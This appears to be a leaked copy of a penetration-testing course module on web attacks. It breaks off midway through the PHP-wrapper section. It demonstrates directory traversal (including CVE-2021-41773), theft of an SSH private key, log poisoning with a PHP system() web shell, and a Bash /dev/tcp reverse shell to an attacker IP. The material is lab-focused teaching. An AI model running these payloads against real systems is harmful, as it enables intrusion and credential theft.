PEN-200
- Courses
- Penetration Testing with Kali Linux
PEN-200: 9. Common Web Application Attacks | Leaked by hide01.ir
9. Common Web Application Attacks
In this Learning Module, we will cover the following Learning Units:
- Directory Traversal
- File Inclusion Vulnerabilities
- File Upload Attack Vulnerabilities
- Command Injection
Web development is currently one of the most in-demand skills in IT.1 The combination of a shortage of skilled web developers, time constraints in projects, and rapidly changing technologies helps certain vulnerabilities occur repeatedly in a broad range of web applications. Regardless of the underlying technology stack, several common web application vulnerabilities can be found in a multitude of deployed applications.
In this Module, we cover four common web application attacks. We'll begin with Directory Traversal and File Inclusion attacks. Next, we'll learn how to abuse File Upload vulnerabilities with executable and non-executable files. Finally, we will explore Command Injection attacks.
(Computer Science, 2021), https://www.computerscience.org/web-development/careers/web-developer/career-outlook-and-salary/ ↩︎
9.1. Directory Traversal
This Learning Unit covers the following Learning Objectives:
- Understand absolute and relative paths
- Learn how to exploit directory traversal vulnerabilities
- Use encoding for special characters
In this Learning Unit, we will examine Directory Traversal vulnerabilities. Before we explore how to exploit this kind of vulnerability, we'll need to cover relative and absolute paths. We will also use the encoding of special characters to perform Directory Traversal attacks.
9.1.1. Absolute vs Relative Paths
In this section, we'll learn the difference between absolute and relative paths. To successfully exploit the vulnerabilities we'll face later in this Module, we need to specify paths to files we want to display, upload, include, or execute. Depending on the web application and vulnerability, we'll use either absolute or relative paths. It is vital for us to understand the difference between these and how we can use them to specify file paths.
To reference an absolute path, we specify the full file system path including all subdirectories. We can refer to an absolute path from any location in the filesystem. Absolute paths start with a forward slash (/), specifying the root file system1 on Linux. From there, we can navigate through the file system.
Let's use absolute pathing to show the contents of a file. Beginning with the /home/kali/ path, let's display the contents of /etc/passwd.
We'll begin in the home directory of the kali user with the pwd command. Our second command, ls /, lists all files and directories in the root file system. The output showing etc is located there. By specifying the / before etc in the third command, we use an absolute path originating from the root file system. This means we can use /etc/passwd from any location in the filesystem. If we were to omit the leading slash, the terminal would search for the etc directory in the home directory of the kali user, since this is our current directory in the terminal.
kali@kali:~$ pwd
/home/kali
kali@kali:~$ ls /
bin home lib32 media root sys vmlinuz
boot initrd.img lib64 mnt run tmp vmlinuz.old
dev initrd.img.old libx32 opt sbin usr
etc lib lost+found proc srv var
kali@kali:~$ cat /etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
king-phisher:x:133:141::/var/lib/king-phisher:/usr/sbin/nologin
kali:x:1000:1000:Kali,,,:/home/kali:/usr/bin/zsh
Listing 1 - Display content of /etc/passwd with an absolute path
Next, let's use relative pathing to achieve the same goal. We'll display the contents of /etc/passwd using relative paths from the home directory of the kali user. To move back one directory, we can use ../. To move more than one directory backwards, we can combine multiple ../ sequences.
We can use the ls command combined with one ../ sequence to list the contents of the /home directory, since ../ specifies one directory back. We'll then use two ../ sequences to list the contents of the root file system, which contains the etc directory.
kali@kali:~$ pwd
/home/kali
kali@kali:~$ ls ../
kali
kali@kali:~$ ls ../../
bin home lib32 media root sys vmlinuz
boot initrd.img lib64 mnt run tmp vmlinuz.old
dev initrd.img.old libx32 opt sbin usr
etc lib lost+found proc srv var
Listing 2 - Using ../ to get to the root file system
From this point, we can navigate as usual through the file system. We can add etc to two ../ sequences to list all files and directories in the absolute path /etc. In the last command, we use cat to display the contents of the passwd file by combining the relative path (../../etc/passwd).
kali@kali:~$ ls ../../etc
adduser.conf debian_version hostname logrotate.d passwd
...
logrotate.conf pam.d rmt sudoers zsh
kali@kali:~$ cat ../../etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
king-phisher:x:133:141::/var/lib/king-phisher:/usr/sbin/nologin
kali:x:1000:1000:Kali,,,:/home/kali:/usr/bin/zsh
Listing 3 - Display contents of /etc/passwd with a relative path
Let's analyze another example. While we can use the cat ../../etc/passwd command shown in listing 3 to display the contents of /etc/passwd, we can achieve the same results using extra ../ sequences.
kali@kali:~$ cat ../../../../../../../../../../../etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
king-phisher:x:133:141::/var/lib/king-phisher:/usr/sbin/nologin
kali:x:1000:1000:Kali,,,:/home/kali:/usr/bin/zsh
Listing 4 - Adding more "../" to the relative path
The number of ../ sequences is only relevant until we reach the root file system. Theoretically, we can add as many ../ as we want, since there is nowhere further back to go from /. This can be useful in certain situations, such as when we don't know our current working directory. In this case, we could specify a large number of ../ to ensure we reach the root file system from a relative pathing perspective.
9.1.2. Identifying and Exploiting Directory Traversals
In this section we will explore Directory Traversal1 attacks, also known as path traversal attacks. This type of attack can be used to access sensitive files on a web server and typically occurs when a web application is not sanitizing user input.
For a web application to show a specific page, a web server provides the file from the file system. These files can be located in the web root directory or one of its subdirectories. In Linux systems, the /var/www/html/ directory is often used as the web root. When a web application displays a page, http://example.com/file.html for example, it will try to access /var/www/html/file.html. The http link doesn't contain any part of the path except the filename because the web root also serves as a base directory for a web server. If a web application is vulnerable to directory traversal, a user may access files outside of the web root by using relative paths, thus accessing sensitive files like SSH private keys or configuration files.
While it is important to understand how to exploit Directory Traversal vulnerabilities, it is also crucial that we can identify them. We should always check for vulnerabilities by hovering over all buttons, checking all links, navigating to all accessible pages, and (if possible) examining the page's source code. Links can be an especially valuable source of information, providing parameters or other data about the application.
For example, if we find the following link, we can extract vital information from it.
https://example.com/cms/login.php?language=en.html
Listing 5 - Example of a link
First, login.php tells us the web application uses PHP. We can use this information to develop assumptions about how the web application works, which is helpful for the exploitation phase.
Second, the URL contains a language parameter with an HTML page as its value. In a situation like this, we should try to navigate to the file directly (https://example.com/cms/en.html). If we can successfully open it, we can confirm that en.html is a file on the server, meaning we can use this parameter to try other file names. We should always examine parameters closely when they use files as a value.
Third, the URL contains a directory called cms. This is important information indicating that the web application is running in a subdirectory of the web root.
Let's review a case study next. We'll begin by examining the Mountain Desserts web application. To access it, we'll need to update the /etc/hosts file on our Kali machine to use the DNS name. We should be aware the assigned IP address for the target machine may change in the labs.
127.0.0.1 localhost
127.0.1.1 kali
192.168.50.16 mountaindesserts.com
...
Listing 6 - Contents of /etc/hosts
We will use this hostname for both the current and following demonstrations. Next, let's browse to the target web application at http://mountaindesserts.com/meteor/index.php.
Figure 1 shows the page after we open it in a browser. The navigation bar displays a file named index.php, so we can conclude that the web application uses PHP. To gather more information about the page's structure, we should hover over all buttons and links, collecting information about parameters and the different pages we come across.
Scrolling down and hovering over all buttons and links, we'll notice most of them only link to the page itself, as shown in Figure 2.
At the bottom of the page, we'll find a link labeled "Admin".
Figure 3 shows the link preview when we hover over the Admin link with our cursor, displaying the URL http://mountaindesserts.com/meteor/index.php?page=admin.php.
We know the web application uses PHP and a parameter called "page", so let's assume this parameter is used to display different pages. PHP uses $_GET2 to manage variables via a GET request. When we click on the link, we receive an error message stating the page is currently under maintenance.
This is an important detail for us, since it reveals that information is shown on the same page. In this case, we'll make a few assumptions about how the web application could be developed to behave in such a way. For example, when we open mountaindesserts.com/meteor/admin.php in our browser, we'll notice the same message that was shown on the index.php page after clicking the "Admin" link.
This message indicates the web application includes the content of this page via the page parameter and displays it under the "Admin" link. We can now try to use ../ to traverse directories in the potentially-vulnerable parameter. We'll specify a relative path to /etc/passwd to test the page parameter for directory traversal.
http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../etc/passwd
Listing 7 - Entire URL of our Directory Traversal attack
Let's copy the shown URL from listing 7 into the address bar of our browser.
Figure 6 shows the contents of /etc/passwd. We successfully leveraged the directory traversal vulnerability by using a relative path.
Directory traversal vulnerabilities are mostly used for gathering information. As mentioned before, if we can access certain files containing sensitive information, like passwords or keys, it may lead to system access.
In most cases, the web server is run in the context of a dedicated user such as www-data. These users usually have limited access permissions on the system. However, users and administrators often intentionally set file access permissions to be very permissive or even world-readable. Sometimes this occurs due to time constraints in deployment or less-mature security programs. This means we should always check for the existence of SSH keys and their access permissions.
SSH keys are usually located in the home directory of a user in the .ssh folder. Fortunately for us, /etc/passwd also contains the home directory paths of all users, as shown in Figure 6. The output of /etc/passwd shows a user called offsec. Let's specify a relative path for the vulnerable "page" parameter to try and display the contents of the user's private key.
http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa
Listing 8 - Entire URL of our Directory Traversal attack
Let's copy the shown URL from listing 8 into the address bar of our browser.
Figure 7 shows that we successfully retrieved the private key for the offsec user. Reviewing the output, we'll notice that its formatting is a bit messy.
During web application assessments, we should understand that as soon as we've identified a possible vulnerability, such as with the "page" parameter in this case, we should not rely on a browser for testing. Browsers often try to parse or optimize elements for user friendliness. When performing web application testing, we should mainly use tools such as Burp,3 cURL,4 or a programming language of our choice.
Let's use curl to retrieve the SSH private key as we did with the browser.
kali@kali:~$ curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa
...
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAz+pEKI1OmULVSs8ojO/sZseiv3zf2dbH6LSyYuj3AHkcxIND7UTw
XdUTtUeeJhbTC0h5S2TWFJ3OGB0zjCqsEI16ZHsaKI9k2CfNmpl0siekm9aQGxASpTiYOs
KCZOFoPU6kBkKyEhfjB82Ea1VoAvx4J4z7sNx1+wydQ/Kf7dawd95QjBuqLH9kQIEjkOGf
BemTOAyCdTBxzUhDz1siP9uyofquA5vhmMXWyy68pLKXpiQqTF+foGQGG90MBXS5hwskYg
...
lpWPWFQro9wzJ/uJsw/lepsqjrg2UvtrkAAADBAN5b6pbAdNmsQYmOIh8XALkNHwSusaK8
bM225OyFIxS+BLieT7iByDK4HwBmdExod29fFPwG/6mXUL2Dcjb6zKJl7AGiyqm5+0Ju5e
hDmrXeGZGg/5unGXiNtsoTJIfVjhM55Q7OUQ9NSklONUOgaTa6dyUYGqaynvUVJ/XxpBrb
iRdp0z8X8E5NZxhHnarkQE2ZHyVTSf89NudDoXiWQXcadkyrIXxLofHPrQzPck2HvWhZVA
+2iMijw3FvY/Fp4QAAAA1vZmZzZWNAb2Zmc2VjAQIDBA==
-----END OPENSSH PRIVATE KEY-----
...
Listing 9 - SSH Private Key via curl
Listing 9 shows that the SSH private key is formatted better using curl than in the browser. However, the HTML code of the web page is returned in the output as well. Let's copy the SSH private key beginning at -----BEGIN OPENSSH PRIVATE KEY----- and ending at -----END OPENSSH PRIVATE KEY----- from the terminal and paste it into a file called dt_key in the home directory for the kali user.
Let's use the private key to connect to the target system via SSH on port 2222. We can use the -i parameter to specify the stolen private key file and -p to specify the port. Before we can use the private key, we'll need to modify the permissions of the dt_key file so that only the user / owner can read the file; if we don't, the ssh program will throw an error stating that the access permissions are too open.
kali@kali:~$ ssh -i dt_key -p 2222 offsec@mountaindesserts.com
The authenticity of host '[mountaindesserts.com]:2222 ([192.168.50.16]:2222)' can't be established.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
...
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for '/home/kali/dt_key' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
...
kali@kali:~$ chmod 400 dt_key
kali@kali:~$ ssh -i dt_key -p 2222 offsec@mountaindesserts.com
...
offsec@68b68f3eb343:~$
Listing 10 - Using the Private Key to connect via SSH
Before wrapping up this section, let's briefly examine directory traversal attacks on Windows. On Linux, we usually use the /etc/passwd file to test directory traversal vulnerabilities. On Windows, we can use the file C:\Windows\System32\drivers\etc\hosts to test directory traversal vulnerabilities, which is readable by all local users. By displaying this file, we can confirm the vulnerability exists and understand how the web application displays the contents of files. After confirming the vulnerability, we can try to specify files containing sensitive information such as configuration files and logs.
In general, it is more difficult to leverage a directory traversal vulnerability for system access on Windows than Linux. In Linux systems, a standard vector for directory traversal is to list the users of the system by displaying the contents of /etc/passwd, check for private keys in their home directory, and use them to access the system via SSH. This vector is not available on Windows and unfortunately, there is no direct equivalent. Additionally, sensitive files are often not easily found on Windows without being able to list the contents of directories. This means to identify files containing sensitive information, we need to closely examine the web application and collect information about the web server, framework, and programming language.
Once we gather information about the running application or service, we can research paths leading to sensitive files. For example, if we learn that a target system is running the Internet Information Services (IIS)5 web server, we can research its log paths and web root structure. Reviewing the Microsoft documentation,6 we learn that the logs are located at C:\inetpub\logs\LogFiles\W3SVC1\. Another file we should always check when the target is running an IIS web server is C:\inetpub\wwwroot\web.config, which may contain sensitive information like passwords or usernames.
In this section, we used the ../ sequence for directory traversal on Linux. As shown, Windows uses backslashes instead of forward slashes for file paths. Therefore, ..\ is an important alternative to ../ on Windows targets. While RFC 17387 specifies to always use slashes in a URL, we may encounter web applications on Windows which are only vulnerable to directory traversal using backslashes. Therefore, we should always try to leverage both forward slashes and backslashes when examining a potential directory traversal vulnerability in a web application running on Windows.
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Directory_traversal_attack ↩︎
(PHP Manual, 2022), https://www.php.net/manual/en/reserved.variables.get.php ↩︎
(PortSwigger, 2022), https://portswigger.net/burp ↩︎
(Curl, 2022), https://curl.se/ ↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Internet_Information_Services ↩︎
(Microsoft Documentation, 2020), https://docs.microsoft.com/en-us/iis/manage/provisioning-and-managing-iis/managing-iis-log-file-storage ↩︎
(IETF, 1994), https://www.ietf.org/rfc/rfc1738.txt ↩︎
Resources
Some of the labs require you to start the target machine(s) below.
Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.
Name (Click to sort ascending) | IP Address | |
---|---|---|
Common Web Application Attacks - Directory Traversal - VM #1 Start Common Web Application Attacks - Directory Traversal - VM #1 with Kali browser access | ||
Common Web Application Attacks - Directory Traversal - VM #2 Start Common Web Application Attacks - Directory Traversal - VM #2 with Kali browser access |
9.1.3. Encoding Special Characters
Having honed our understanding of directory traversal concepts using the "Mountain Desserts" web application, let's try applying these skills to a real vulnerability. In the "Vulnerability Scanning" topic, we scanned the SAMBA machine and identified a directory traversal vulnerability in Apache 2.4.49.1 This vulnerability can be exploited by using a relative path after specifying the cgi-bin directory in the URL.
Let's use curl and multiple ../ sequences to try exploiting this directory traversal vulnerability in Apache 2.4.49 on the WEB18 machine.
kali@kali:/var/www/html$ curl http://192.168.50.16/cgi-bin/../../../../etc/passwd
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
kali@kali:/var/www/html$ curl http://192.168.50.16/cgi-bin/../../../../../../../../../../etc/passwd
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
Listing 11 - Using "../" to leverage the Directory Traversal vulnerability in Apache 2.4.49
Listing 11 demonstrates that after attempting two queries with a different number of ../, we could not display the contents of /etc/passwd via directory traversal. Because leveraging ../ is a known way to abuse web application behavior, this sequence is often filtered by either the web server, web application firewalls,2 or the web application itself.
Fortunately for us, we can use URL Encoding,3 also called Percent Encoding, to potentially bypass these filters. We can leverage specific ASCII encoding lists4 to manually encode our query from listing 11 or use the online converter on the same page. For now, we will only encode the dots, which are represented as "%2e".
kali@kali:/var/www/html$ curl http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
alfred:x:1000:1000::/home/alfred:/bin/bash
Listing 12 - Using encoded dots for Directory Traversal
We have successfully used directory traversal with encoded dots to display the contents of /etc/passwd on the target machine.
Generally, URL encoding is used to convert characters of a web request into a format that can be transmitted over the internet. However, it is also a popular method used for malicious purposes. The reason for this is that the encoded representation of characters in a request may be missed by filters, which only check for the plain-text representation of them e.g. ../ but not %2e%2e/. After the request passes the filter, the web application or server interprets the encoded characters as a valid request.
(CVE Mitre, 2021), https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773 ↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Web_application_firewall ↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Percent-encoding ↩︎
(w3schools, 2022), https://www.w3schools.com/tags/ref_urlencode.asp ↩︎
Resources
Some of the labs require you to start the target machine(s) below.
Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.
Labs
- In this section, we used URL encoding to exploit the directory traversal vulnerability in Apache 2.4.49 on VM #1. Use Burp or curl to display the contents of the /opt/passwords file via directory traversal in the vulnerable Apache web server. Remember to use URL encoding for the directory traversal attack. Find the flag in the output of the file.
- Grafana is running on port 3000 on VM #2. The version running is vulnerable to the same directory traversal vulnerability as in the previous section. While URL encoding is not needed to perform a successful directory traversal attack, experiment with URL encoding different characters of your request to display the contents of /etc/passwd. Once you have a working request utilizing URL encoding, obtain the flag by displaying the contents of /opt/install.txt.
9.2. File Inclusion Vulnerabilities
This Learning Unit covers the following Learning Objectives:
- Learn the difference between File Inclusion and Directory Traversal vulnerabilities
- Gain an understanding of File Inclusion vulnerabilities
- Understand how to leverage Local File Inclusion (LFI) to obtain code Execution
- Explore PHP wrapper usage
- Learn how to perform Remote File Inclusion (RFI) attacks
In this Learning Unit, we'll cover File Inclusion1 vulnerabilities. We will demonstrate how to exploit a Local File Inclusion (LFI) vulnerability using a case study. We will also analyze the differences between File Inclusion and Directory Traversal vulnerabilities. We'll then learn about PHP Wrappers,2 which can be used to bypass filters and other constraints. Finally, we will examine Remote File Inclusion (RFI) vulnerabilities, which allow us to include files from a controlled system.
(Wikipedia, 2022), https://en.wikipedia.org/wiki/File_inclusion_vulnerability ↩︎
(PHP Manual, 2010), https://www.php.net/manual/en/wrappers.php ↩︎
9.2.1. Local File Inclusion (LFI)
Before we examine Local File Inclusion (LFI), let's take a moment to explore the differences between File Inclusion and Directory Traversal. These two concepts often get mixed up by penetration testers and security professionals. If we confuse the type of vulnerability we find, we may miss an opportunity to obtain code execution.
As covered in the last Learning Unit, we can use directory traversal vulnerabilities to obtain the contents of a file outside of the web server's web root. File inclusion vulnerabilities allow us to "include" a file in the application's running code. This means we can use file inclusion vulnerabilities to execute local or remote files, while directory traversal only allows us to read the contents of a file. Since we can include files in the application's running code with file inclusion vulnerabilities, we can also display the file contents of non-executable files. For example, if we leverage a directory traversal vulnerability in a PHP web application and specify the file admin.php, the source code of the PHP file will be displayed. On the other hand, when dealing with a file inclusion vulnerability, the admin.php file will be executed instead.
In the following example, our goal is to obtain Remote Code Execution (RCE) via an LFI vulnerability. We will do this with the help of Log Poisoning.1 Log Poisoning works by modifying data we send to a web application so that the logs contain executable code. In an LFI vulnerability scenario, the local file we include is executed if it contains executable content. This means that if we manage to write executable code to a file and include it within the running code, it will be executed.
In the following case study, we will try to write executable code to Apache's access.log file in the /var/log/apache2/ directory. We'll first need to review what information is controlled by us and saved by Apache in the related log. In this case, "controlled" means that we can modify the information before we send it to the web application. We can either read the Apache web server2 documentation or display the file via LFI.
Let's use curl to analyze which elements comprise a log entry by displaying the file access.log using the previously-found directory traversal vulnerability. This means we'll use the relative path of the log file in the vulnerable "page" parameter in the "Mountain Desserts" web application.
kali@kali:~$ curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../var/log/apache2/access.log
...
192.168.50.1 - - [12/Apr/2022:10:34:55 +0000] "GET /meteor/index.php?page=admin.php HTTP/1.1" 200 2218 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0"
...
Listing 13 - Log entry of Apache's access.log
Listing 13 shows that the User Agent3 is included in the log entry. Before we send a request, we can modify the User Agent in Burp and specify what will be written to the access.log file.
Apart from the specified file, this command is equivalent to the directory traversal attack from the previous Learning Unit. The exploitation of directory traversal and LFI vulnerabilities mainly differs when handling executable files or content.
Let's start Burp, open the browser, and navigate to the "Mountain Desserts" web page. We'll click on the Admin link at the bottom of the page, then switch back to Burp and click on the HTTP history tab. Let's select the related request and send it to Repeater.
We can now modify the User Agent to include the PHP code snippet of the following listing. This snippet accepts a command via the cmd parameter and executes it via the PHP system4 function on the target system. We'll use echo5 to display command output.
<?php echo system($_GET['cmd']); ?>
Listing 14 - PHP Snippet to embed in the User Agent
After modifying the User Agent, let's click Send.
The PHP code snippet was written to Apache's access.log file. By including the log file via the LFI vulnerability, we can execute the PHP code snippet.
To execute our snippet, we'll first update the page parameter in the current Burp request with a relative path.
../../../../../../../../../var/log/apache2/access.log
Listing 15 - Relative Path for the "page" parameter
We also need to add the cmd parameter to the URL to enter a command for the PHP snippet. First, let's enter the ps command to verify that the log poisoning is working. Since we want to provide values for the two parameters (page for the relative path of the log and cmd for our command), we can use an ampersand (&) as a delimiter. We'll also remove the User Agent line from the current Burp request to avoid poisoning the log again, which would lead to multiple executions of our command due to two PHP snippets included in the log.
The final Burp request is shown in the Request section of the following Figure. After sending our request, let's scroll down and review the output in the Response section.
Figure 10 shows the output of the executed ps command that was written to the access.log file due to our poisoning with the PHP code snippet.
Let's update the command parameter with ls -la.
The output in the Response section shows that our input triggers an error. This happens due to the space between the command and the parameters. There are different techniques we can use to bypass this limitation, such as using Input Field Separators (IFS)6 or URL encoding. With URL encoding, a space is represented as "%20".7
Let's replace the space with "%20" and press Send.
Figure 12 shows that our command executed correctly.
We have achieved command execution on the target system and can leverage this to get a reverse shell or add our SSH key to the authorized_keys file for a user.
Let's attempt to obtain a reverse shell by adding a command to the cmd parameter. We can use a common Bash TCP reverse shell one-liner.8 The target IP for the reverse shell may need to be updated in the labs.
bash -i >& /dev/tcp/192.168.119.3/4444 0>&1
Listing 16 - Bash reverse shell one-liner
Since we'll execute our command through the PHP system function, we should be aware that the command may be executed via the Bourne Shell,9 also known as sh, rather than Bash. The reverse shell one-liner in Listing 16 contains syntax that is not supported by the Bourne Shell. To ensure the reverse shell is executed via Bash, we need to modify the reverse shell command. We can do this by providing the reverse shell one-liner as argument to bash -c, which executes a command with Bash.
bash -c "bash -i >& /dev/tcp/192.168.119.3/4444 0>&1"
Listing 17 - Bash reverse shell one-liner executed as command in Bash
We'll once again encode the special characters with URL encoding.
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22
Listing 18 - URL encoded Bash TCP reverse shell one-liner
The following figure shows the correct way to add our command in the request:
Before we send the request, let's start a Netcat listener on port 4444 on our Kali machine. It will receive the incoming reverse shell from the target system. Once the listener is started, we can press Send in Burp to send the request.
kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.119.3] from (UNKNOWN) [192.168.50.16] 57848
bash: cannot set terminal process group (24): Inappropriate ioctl for device
bash: no job control in this shell
www-data@fbea640f9802:/var/www/html/meteor$ ls
admin.php
bavarian.php
css
fonts
img
index.php
js
Listing 19 - Successful reverse shell from the target system
Listing 19 shows that we successfully received the reverse shell in our Netcat listener. We now have an interactive shell on the target system.
Before moving to the next section, let's briefly explore LFI attacks on Windows targets. Exploiting LFI on Windows only differs from Linux when it comes to file paths and code execution. The PHP code snippet we used in this section for Linux also works on Windows, since we use the PHP system function that is independent from the underlying operating system. When we use Log Poisoning on Windows, we should understand that the log files are located in application-specific paths. For example, on a target running XAMPP,10 the Apache logs can be found in C:\xampp\apache\logs\.
Exploiting File Inclusion vulnerabilities depends heavily on the web application's programming language, the version, and the web server configuration. Outside PHP, we can also leverage LFI and RFI vulnerabilities in other frameworks or server-side scripting languages including Perl,11 Active Server Pages Extended,12 Active Server Pages,13 and Java Server Pages.14 Exploiting these kinds of vulnerabilities is very similar across these languages.
Let's consider an LFI vulnerability in a JSP web application. If we can write JSP code to a file using Log Poisoning and include this file with the LFI vulnerability, the code will be executed. The only difference between this example and the previous PHP demonstration is that the code snippet used for the Log Poisoning would be in a different language.
In real-life assessments, we'll most often discover File Inclusion vulnerabilities in PHP web applications, since most of the other frameworks and server-side scripting languages are dated and therefore less common. Additionally, modern frameworks and languages are often by design not vulnerable or have protection mechanisms enabled by default against LFI. However, we should be aware that we can also find LFI vulnerabilities in modern back-end JavaScript runtime environments like Node.js.15
(OWASP, 2022), https://owasp.org/www-community/attacks/Log_Injection ↩︎
(Apache, 2022), https://httpd.apache.org/docs/2.4/logs.html ↩︎
(Mozilla Developer Network, 2022), https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent ↩︎
(PHP Manual, 2022), https://www.php.net/manual/en/function.system.php ↩︎
(PHP Manual, 2022), https://www.php.net/manual/en/function.echo.php ↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Input_Field_Separators ↩︎
(w3schools, 2022), https://www.w3schools.com/tags/ref_urlencode.asp ↩︎
(Github, 2022), https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Reverse Shell Cheatsheet.md#bash-tcp ↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Bourne_shell ↩︎
(Wikipedia, 2022), https://www.apachefriends.org/index.html ↩︎
(Perl, 2022), https://www.perl.org ↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/ASP.NET ↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Active_Server_Pages ↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Jakarta_Server_Pages ↩︎
(Node.js, 2022), https://nodejs.org/en/ ↩︎
Resources
Some of the labs require you to start the target machine(s) below.
Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.
Labs
- Follow the steps in this section and leverage the LFI vulnerability in the web application (located at http://mountaindesserts.com/meteor/) to receive a reverse shell on WEB18 (VM #1). Get the flag from the /home/ariella/flag.txt file. To display the contents of the file, check your sudo privileges with sudo -l and use them to read the flag.
- Exploit the LFI vulnerability in the web application "Mountain Desserts" on WEB18 (VM #2) (located at http://mountaindesserts.com/meteor/) to execute the PHP /opt/admin.bak.php file with Burp or curl. Enter the flag from the output.
- The "Mountain Desserts" web application now runs on VM #3 at http://192.168.50.193/meteor/ (The third octet of the IP address in the URL needs to be adjusted). Use the LFI vulnerability in combination with Log Poisoning to execute the dir command. Poison the access.log log in the XAMPP C:\xampp\apache\logs log directory . Find the flag in one of the files from the dir command output.
9.2.2. PHP Wrappers
PHP offers a variety of protocol wrappers to enhance the language's capabilities. For example, PHP wrappers can be used to represent and access local or remote filesystems. We can use these wrappers to bypass filters or obtain code execution via File Inclusion vulnerabilities in PHP web applications. While we'll only examine the php://filter1 and data://2 wrappers, many are available.3
We can use the php://filter wrapper to display the contents of files either with or without encodings like ROT134 or Base64.5 In the previous section, we covered using LFI to include the contents of files. Using php://filter, we can also display the contents of executable files such as .php, rather than executing them. This allows us to review PHP files for sensitive information and analyze the web application's logic.
Let's demonstrate this by revisiting the "Mountain Desserts" web application. First we'll provide the admin.php file as a value for the "page" parameter, as in the last Learning Unit.
kali@kali:~$ curl http://mountaindesserts.com/meteor/index.php?page=admin.php
...
<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Maintenance</title>
</head>
<body>
<span style="color:#F00;text-align:center;">The admin page is currently under maintenance.
Listing 20 - Contents of the admin.php file
Listing 20 shows the title and maintenance text we already encountered while reviewing the web application earlier. We also notice that the <body> tag is not closed at the end of the HTML code. We can assume that something is missing. PHP code will be executed server side and, as such, is not shown. When we compare this output with previous inclusions or review the source code in the browser, we can conclude that the rest of the index.php page's content is missing.
Next, let's include the file, using php://filter to better understand this situation. We will not use any encoding on our first attempt. The PHP wrapper uses resource as the required parameter to specify the file stream for filtering, which is the filename in our case. We can also specify absolute or relative paths in this parameter.
kali@kali:~$ curl http://mountaindesserts.com/meteor/index.php?page=php://filter/resource=admin.php
...
<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Maintenance</title>
</head>
<body>
<span style="color:#F00;text-align:center;">The admin page is currently under maintenance.
Listing 21 - Usage of "php://filter" to include unencoded admin.php
The output of Listing 21 shows the same result as Listing 20. This makes sense since the PHP code is included and executed via the LFI vulnerability. Let's now encode the output with base64 by adding convert.base64-encode. This converts the specified resource to a base64 string.
kali@kali:~$ curl http://mountaindesserts.com/meteor/index.php?page=php://filter/convert.base64-encode/resource=admin.php
...
<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>
